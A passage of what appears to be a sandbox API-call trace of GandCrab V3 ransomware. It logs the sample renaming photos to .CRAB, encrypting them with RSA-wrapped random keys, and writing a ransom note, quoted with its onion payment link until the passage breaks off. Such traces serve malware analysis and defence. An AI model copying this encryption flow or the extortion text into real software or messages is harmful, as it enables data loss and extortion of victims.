	[0133.003] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.003] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0133.003] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.003] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png") returned 53
	[0133.003] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png") returned 53
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="desktop.ini") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="autorun.inf") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="ntuser.dat") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="iconcache.db") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="bootsect.bak") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="boot.ini") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="ntuser.dat.log") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="thumbs.db") returned 1
	[0133.003] lstrcmpiW (lpString1="Xdpn0JNfLBf.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.004] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.004] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB") returned 58
	[0133.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\xdpn0jnflbf.png")) returned 0x20
	[0133.004] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png", dwFileAttributes=0x20) returned 1
	[0133.004] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\xdpn0jnflbf.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\xdpn0jnflbf.png.crab")) returned 1
	[0133.005] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.005] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB"
	[0133.005] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB.CRAB"
	[0133.006] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0133.007] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.007] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.007] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.007] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.007] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.008] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.009] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.009] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.009] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.009] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.010] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.010] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.010] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.010] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0133.011] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f350) returned 1
	[0133.012] CryptGetKeyParam (in: hKey=0x320f350, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.012] CryptEncrypt (in: hKey=0x320f350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.012] GetLastError () returned 0x0
	[0133.012] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.012] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.013] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320efd0) returned 1
	[0133.013] CryptGetKeyParam (in: hKey=0x320efd0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.013] CryptEncrypt (in: hKey=0x320efd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.014] GetLastError () returned 0x0
	[0133.014] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.014] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\xdpn0jnflbf.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.014] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.014] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.015] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x1697f, lpOverlapped=0x0) returned 1
	[0133.044] VirtualAlloc (lpAddress=0x0, dwSize=0x16980, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.060] VirtualAlloc (lpAddress=0x0, dwSize=0x16980, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0133.065] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.065] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe9681, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.065] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x16980, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x16980, lpOverlapped=0x0) returned 1
	[0133.066] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.066] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.077] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.077] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.077] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.077] CloseHandle (hObject=0x3ec) returned 1
	[0133.077] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.078] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.078] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.078] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.078] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.079] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.079] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.079] lstrcmpW (lpString1="Z_ KH0UDXnX.png", lpString2=".") returned 1
	[0133.079] lstrcmpW (lpString1="Z_ KH0UDXnX.png", lpString2="..") returned 1
	[0133.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="Z_ KH0UDXnX.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png"
	[0133.079] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.079] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png") returned 53
	[0133.079] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png") returned 53
	[0133.079] lstrlenW (lpString=".png") returned 4
	[0133.079] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.080] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0133.080] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png") returned 53
	[0133.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png") returned 53
	[0133.081] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="desktop.ini") returned 1
	[0133.086] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="autorun.inf") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="ntuser.dat") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="iconcache.db") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="bootsect.bak") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="boot.ini") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="ntuser.dat.log") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="thumbs.db") returned 1
	[0133.087] lstrcmpiW (lpString1="Z_ KH0UDXnX.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.087] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.087] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB") returned 58
	[0133.087] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\z_ kh0udxnx.png")) returned 0x20
	[0133.088] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png", dwFileAttributes=0x20) returned 1
	[0133.088] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\z_ kh0udxnx.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\z_ kh0udxnx.png.crab")) returned 1
	[0133.089] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.089] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB"
	[0133.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB.CRAB"
	[0133.090] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.091] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.092] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.092] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.092] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.092] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.092] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0133.093] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.093] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.094] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.094] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.094] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.094] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.094] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.094] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.095] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.096] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f4d0) returned 1
	[0133.096] CryptGetKeyParam (in: hKey=0x320f4d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.096] CryptEncrypt (in: hKey=0x320f4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.096] GetLastError () returned 0x0
	[0133.096] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.096] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e7c0) returned 1
	[0133.098] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ed90) returned 1
	[0133.098] CryptGetKeyParam (in: hKey=0x320ed90, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.098] CryptEncrypt (in: hKey=0x320ed90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.098] GetLastError () returned 0x0
	[0133.098] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0133.098] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Z_ KH0UDXnX.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\z_ kh0udxnx.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.099] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.099] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.099] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x2437, lpOverlapped=0x0) returned 1
	[0133.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2440, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2440, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.114] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.114] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffdbc9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.114] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x2440, lpOverlapped=0x0) returned 1
	[0133.115] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.115] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.119] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.119] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.119] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.119] CloseHandle (hObject=0x3ec) returned 1
	[0133.119] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.119] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.120] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.120] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.120] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.120] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.121] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0133.121] FindClose (in: hFindFile=0x320df10 | out: hFindFile=0x320df10) returned 1
	[0133.121] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.121] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1
	[0133.121] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1
	[0133.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll"
	[0133.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\"
	[0133.121] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.122] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.122] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.122] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.122] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.122] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.122] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.122] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.122] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\\\CRAB-DECRYPT.txt") returned 60
	[0133.122] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.124] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to 